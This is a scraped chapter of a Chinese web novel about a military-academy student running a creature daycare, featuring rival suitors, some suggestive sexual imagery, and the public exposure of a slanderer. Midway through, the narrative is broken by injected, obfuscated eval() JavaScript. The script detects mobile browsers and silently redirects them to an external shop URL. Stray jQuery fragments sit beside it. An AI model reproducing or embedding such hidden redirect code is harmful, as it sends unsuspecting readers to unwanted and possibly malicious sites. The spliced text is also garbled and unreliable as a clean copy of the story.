文趣网 > 都市小说 > 在军校开毛茸茸托儿所 > 16. 修罗场
    “大?”

    “哪里大?”

    “有我大吗?”

    塞西尔冲上来就是一顿输出。

    三人诡异地看向他。

    “我在说它的脚。”时霜指着雪鸮爪子,毛绒绒的,像套了双雪地靴。

    “哦。”塞西尔顿了顿,“哦……”

    他狠狠瞪了一眼那只歪头装傻的雪鸮。

    蠢鸟。

    随即重新扬起灿烂到晃眼的笑容,凑近了些:“今天认出我了吗,时霜?”

    时霜在心里敲系统:“他果然很记仇。”

    面上却眉眼弯弯,声音轻软,试图挽回这个潜在的超级大客户:“昨晚很抱歉,塞西尔学长。”

    莱因目光在二人之间逡巡,眉头逐渐拧紧:“你们昨晚在一起?”

    “是啊,他……”塞西尔一顿,原本控诉的话在嘴边转了个弯,“脾气很火爆呢。”

    塞西尔是出了名的风流爱玩,这话从他嘴里说出来,实在有些暧昧不清。

    莱因的指节无意识收紧。

    一想到时霜像喊自己一样喊他学长,淡色的唇微微张开,吐出湿.红舌尖。怯怯的小.舌会被人含.住,吮吸,会因为太久没有合.拢,溢出甜蜜的汁.水……

    而且有一点塞西尔说的没错,时霜脾气不好,上次自己说他一句,就被他扇了一巴掌。

    所以如果下巴被口水.打.湿,他一定会冷着脸生气,说不定会直接上手扇人。

    塞西尔没脸没皮,又惯会甜言蜜语,这时候就顺势亲着哄着舔上他的手,把指缝都舔.得湿.答答……

    莱因的脸瞬间阴沉下来,冰蓝色眸底凝结寒霜。

    谢时序自始至终安静立在时霜身侧,此刻才掀起眼帘,淡淡瞥了那两人一眼。

    又将目光重新落在时霜抚摸雪鸮绒毛的指尖上,声音低柔:“摸头试试,它会笑。”

    时霜闻言,将手移到雪鸮圆溜溜脑袋上,果然,没一会儿,大鸟眯起眼睛,喙尖藏在下巴羽毛里。像笑起来一样。

    完全看不出是猛禽。

    时霜原来的世界,雪鸮是很少见的,他只驯养过一只,很凶,花了好久才让它卸下防备,对他露出这种标志性眯眼笑。

    “好乖。”

    原本还在暗暗交锋的两位一怔。

    莱因收敛神色,抢先接过话头,语气沉稳,对时霜道:“托儿所情况怎么样?我认识冰川实验室的人,可以帮你开具资质证明。”

    冰川实验室,联邦生物精神体领域的绝对权威,其出具的证明含金量极高。

    有了这张证明,以后绝大多数例行检查都可以免去,也意味着他背后有顶尖科研机构做靠山,一般人不敢轻易为难。

    莱因说认识,是低调了。冰川实验室是第二区官方机构,跟他家开的也没差了。

    塞西尔嗤笑一声,橘发在阳光下亮得张扬:“等你证明开出来黄花菜都凉了。”

    他向前半步,挡开些许莱因的视线,对时霜笑道,“今天厉寒彻会到场,厉家和我家有些交情,我带你直接去找他。”

    厉寒彻,精神体健康管理署署长,同时也是阿瑞斯军校的特聘教授。在精神体监管领域,手握实权,说一不二。

    时霜也是纳闷,怎么一个两个忽然都这么热心。

    谢时序刚刚也说他把论坛上的造谣帖都删了,发布者会受到相应处分。

    他说得平静,却让时霜心中微动。

    ……当初原主“造谣”时,那份处分通知,下达得也是这样迅速且毫不留情。

    时霜垂下眼睫,再抬起时,脸上已挂起略带疏离的微笑:“谢谢你们的好意,不过不用麻烦啦。欢迎等托儿所重新开业后,再来玩。”

    他们也没再多说,这时掌声响起,有人上台讲话。

    时霜抬眼望去。

    那人一身笔挺军装,身姿挺拔,小麦色皮肤在阳光下泛着健康的光泽。他的五官比一般人立体深邃,黑发赤瞳,左耳戴着枚黑色耳钉,野性不羁,尽显锋芒。

    那晚搜查,他们见过一面。

    闻熠,第四区继承人,联邦史上最年轻的少将。他没有像其他世家子弟那样直接接管家族权柄,而是选择从最前线一场硬仗一场硬仗地搏杀出来,军功赫赫,荣耀加身。

    确实是荣誉日最合适的演讲人。

    时霜看着他,指尖无意识顿住,正被摸得舒服的雪鸮不解歪了歪头。

    谢时序敏锐地察觉到他目光的落点,视线随之投向台上,眸色渐深。

    *

    闻熠没讲几句话,便察觉一道目光直直落在他身上。眉眼一沉,侧头看过去,就撞见那张漂亮得过分的脸。

    天光下,他秾丽的五官更清晰,眉秀长,眼乌黑,冷白肌肤上缀着红痣,瞬间攫取人的目光。

    闻熠抿了下唇,收回视线,继续讲话。但仍能感觉那道目光落在自己身上,甚至更炙热,有如实质。

    他难得有些不自在。

    什么意思?

    他又侧眸瞥过去,却见三个熟悉的人围在时霜身边,面色不善地看过来。

    像三条护食的恶犬。

    “?”

    这个联想让闻熠一阵恶寒。

    好在他们轮流同时霜说着什么,很快就唤回了时霜的注意力,不再盯着他看。

    嗯,他又看了一眼,确实没再盯着他看……

    闻熠眉头紧锁,轮廓线条显得愈发锐利,匆匆结束了讲话。

    他早就知道。

    他早就知道时霜漂亮得不安分。

    从第一眼,在床上看到他,他玩得那么…野。

    把别人弄得满脸都是,还满脸无辜,毫不害臊。

    还只穿着件宽大衬衫就走到他跟前,大腿上手腕上都是痕迹。故意凑那么近,害他闻到香味,萦绕鼻端,好几天都散不掉。

    现在,连他那几个向来眼高于顶的兄弟,都被他迷得团团转。

    有了一个还不够,花心。

    手段其实也说不上多厉害。

    闻熠又看了他一眼。

    也就是长得还行。

    再看一眼。

    加上脸白腰细。

    但也就那样。

    他们四个人,关系说不上好,但好歹从小一起长大,他决不允许时霜耍着他们当狗玩。

    这样想着,脚步更是急切。

    时霜再注意到闻熠时,就见他迈步朝自己走过来,脸色冷肃,目光锋锐。

    心中暗忖:“这么快就查到我了?”

    系统:【危危危危危!】

    闻熠在他面前停住,深深看了他几秒,目光缓缓扫过周围那几个人,沉声道:

    “你胃口倒是大,也不担心自己吃不吃得下?”

    时霜:“?”

    系统:【o.O?】

    *

    荣誉日最后的集体活动,是一场观影仪式。

    时霜入席时,脑子还懵懵的:“你说他什么意思?”

    系统小脸通黄,程序混乱,像块Q弹布丁,在意识里duangduangduang跳来跳去。

    得不到解答,时霜也没再问,找一年级的固定座位区。刚要坐下,眼前就投下一片阴影,几个人拦住了他。

    最先跳出来的姜云扯着嘴角,语调讥诮:“时霜,我说你怎么突然这么嚣张,原来是勾搭上了大靠山。”

    “你谁?”

    姜云脸色铁青,“你装什么?”

    他冷笑,往身侧一扬下巴:“不认得我,连你‘最好的好朋友’都忘了?”

    时

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607383|205760||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    霜看向他旁边的清秀男生。霎时间,太阳穴传来细密的刺痛,记忆翻涌。

    原来是他。

    老朋友。

    苏荷青揽过姜云手臂,声音温柔:“别闹了阿云,我没事的,都过去了,还提这些做什么?”

    时霜挑眉,目光转向姜云,“你刚刚造谣的是哪位,说给我听听?”

    姜云脸刷白。

    那四位可不是他得罪得起的……

    时霜收回视线,这才对苏荷青笑道,“你没事,我倒是有事。只是最近比较忙,等空了再好好跟你聊聊。”

    这话说得挑衅,苏荷青抿紧了唇,脸色难看。

    姜云见他被欺负得眼尾微红,看时霜更是罪大恶极,恶狠狠道:“你别得意,时霜,你以为那件事就到此为止了吗?”

    “你得罪了不该得罪的人,就做好准备,等不了多久,你就会像条丧家之犬一样被赶出阿瑞斯。”

    恰在此时,礼堂灯光暗下,观影开始。

    ……

    影片结束,众人正准备散场,前方刚暗下的巨大屏幕突然亮起。

    一段视频开始播放。

    画面里,黄毛和一个男生凑在一起,声音压得很低:

    “放心,那检测报告我找人处理过了,保证查不出来。”

    “他那种人,名声早就臭了,谁会信他?随便编点料,那些蠢货自己就会跟着传……”

    “就算他最后澄清了,又能怎么样?一个无权无势的废物F级……”

    “实在不行,我们就给他店里的精神体下药……精神体一死,他还能有命活?”

    桩桩件件,恶劣至极。

    甚至牵涉到谋害精神体这种极端重罪。

    全场哗然,人群瞬间炸开。

    “这也太恶心了吧……”

    “给精神体下药?还是致命的那种,他是要谋杀啊!”

    “我之前还真的信了……我们是不是被当枪使了?”

    “要是没这段视频,时霜是不是就真被他们弄死了?”

    “为了陷害,连这种事都做得出来,这种人不配待在阿瑞斯!”

    “滚出阿瑞斯!!”

    黄毛猛地从座位上弹起来,脸色煞白,指着屏幕怒吼:“假的,这是伪造的!是有人故意害我!”

    混乱中,礼堂侧门打开,一行穿制服的人走了进来。为首的男人肩章凛然,正是厉寒彻。

    他径直走向台前,目光冷厉,扫过全场,最终锁定在黄毛身上。声音通过麦克风传遍礼堂:

    “经技术鉴定,该视频真实无误。相关伪造证据、公开诽谤及蓄意谋害精神体行为已立案调查。”

    他顿了顿,身后屏幕放出几张报告。

    报告详细验证了那些被带回去调查的精神体,数据显示,它们在毛茸茸托儿所接受护理后,污染等级均呈现下降趋势,目前状态良好。

    “另外,此前针对时霜同学的不实指控,现正式予以澄清,一切封禁即时解除。”

    “涉事人员,带走调查。”

    话音落下,两名身着制服的人员立刻上前,一左一右架住了瘫软下去的黄毛。

    黄毛的轮椅在混乱中不知挤到了哪里,他几乎像个牲畜一样被拖着往外走。

    他脑子混乱,向苏荷青几人投去求助的目光,却被纷纷避开。

    他死定了。

    他死定了,他死定了。

    路过时霜座位旁时,他像是要抓住最后一根救命稻草,扑上去哀求。想让时霜发发善心救救他,只要时霜能松口,他…他就还有救。

    然而手指刚要触碰到时霜裤脚,却被对方避开。

    时霜俯身,声音轻缓,带着若有似无的笑意:

    “现在像狗一样爬出阿瑞斯的人,是你哦。”